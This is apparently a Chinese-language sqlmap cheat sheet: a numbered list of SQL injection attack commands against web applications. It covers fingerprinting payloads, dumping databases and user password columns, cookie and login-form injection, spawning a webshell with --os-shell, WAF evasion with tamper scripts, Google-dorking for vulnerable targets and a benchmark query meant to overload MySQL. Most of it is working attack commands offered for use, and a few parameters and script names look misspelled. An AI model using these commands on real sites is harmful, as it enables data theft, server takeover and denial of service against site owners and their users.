1. MySQL数据库注入
- 检查注入点(主要看是否能返回消息):
sqlmap.py -u url
- 爆所有库:
sqlmap.py -u url -dbs
- 爆当前库:
sqlmap.py -u url --current-db
2.Access数据库注入
- 判断是否是access数据库:
url and exists(select id from MSysAccessObjects)
其他数据库判断语句:
Access: aNd aSc(cHr(97))=97
Access: and exists(select id from MSysAccessObjects)
SQL Server: and exists(select id from sysobjects)
SQL Server: and length(user)>0
MySQL: and length(user())>
- access数据库没有库的概念,直接爆表
sqlmap.py -u "url" --tables
- 爆列,爆字段,可以在日志里找到
3. 指定数据库,操作系统
- 检查是否是注入点
- 爆库:
sqlmap.py -u url --dbms mysql 5.0 --current-db
- 爆表:
sqlmap.py -u url --dbms mysql 5.0 -D cms --tables
- 爆列:
sqlmap.py -u url --dbms mysql 5.0 -D cms -T cms_user --columns
- 爆字段:
sqlmap.py -u url --dbms mysql 5.0 -D cms -T cms_users -C password ,username --dump
4. 请求延时注入
- 测试注入点:
sqlmap.py -u url -p id
- sqlmap注入方式technique
sqlmap.py -u url --technique T
B: 基于Boolean的盲注(Boolean based blind)
Q: 内联查询(inlin queries)
T: 基于时间的盲注(time based blind)
U: 联合查询(union query based)
E: 错误(error based)
S: 栈查询(stack queries)
- 猜数据库
sqlmap.py -u url --technique T -time-sec 9 --current-db
- 其他参数:
--delay
,--safe-freq
5.常规伪静态注入
伪静态:主要是为了隐藏传递的参数名,伪静态只是一种URL重写的手段,既然能接受参数输入,所以并不能防止注入。目前来看,防止注入的最有效的方法就是使用LINQ。
- 加星花:
sqlmap.py -u "url*.html" --dbs
- 利用sqlmap注入:
sqlmap.py -u "url*.html" --current-db --hex
- 爆表:
sqlmap.py -u "url*.html" -D "cms" --tables –hex
6.cookie注入
- burpsuite获得cookie
- sqlmap的cookie注入攻击:
sqlmap.py -u url --cookie “uname=admin" --level 2
- 爆库,爆表,爆列,爆字段
7.POST登录框注入
- burpsuite抓包右键保存到\Python2\sqlmap中
- 测试能否注入
sqlmap.py -r 1.txt -p user
(-r:让sqlmap加载post请求,-p:指定注入用的参数) - 爆库
sqlmap.py -r 1.txt --current-db
- 自动搜索表单:
sqlmap.py -u url --form
- 指定一个参数:
sqlmap.py -u url --data "name=1&pass=1"
8.交互式写shell及命令执行
- 测试注入点:
sqlmap.py -u url -p id
- 利用SQLmap写webshell:
sqlmap.py -u url --os-shell
输入脚本语言,输入网站绝对路径
9.绕过WAF防火墙
- 利用tamper脚本绕过过滤:
sqlmap.py -u url --dbs --batch --flush-session --tamper=equaltolike.py,space2comment.py,randomcase.py
10.sqlmap模板使用,编写
- 尝试注入 and 1=1被拦截
- 利用%0a尝试绕过,发现可以
- 编写tamper模板,利用sqlmap跑库(c:\python27\sqlmap\tamper)
- 利用sqlmap跑库
sqlmap.py -u "url" --dbs --batch --tamper=equaltolike.py, space2mssqlhash.py, randomcase.py, space2hassh.py, base64encode.py, charencode.py
11.利用sqlmap来google搜索
- 查找页面:
sqlmap.py -g inurl:php?id=
12.sqlmpa进行Mysql DOS攻击
- 获得shell:
sqlmap.py -u url --sql-shell
- 进行攻击:
select benchmark(9999999999,0*70726f63409284209)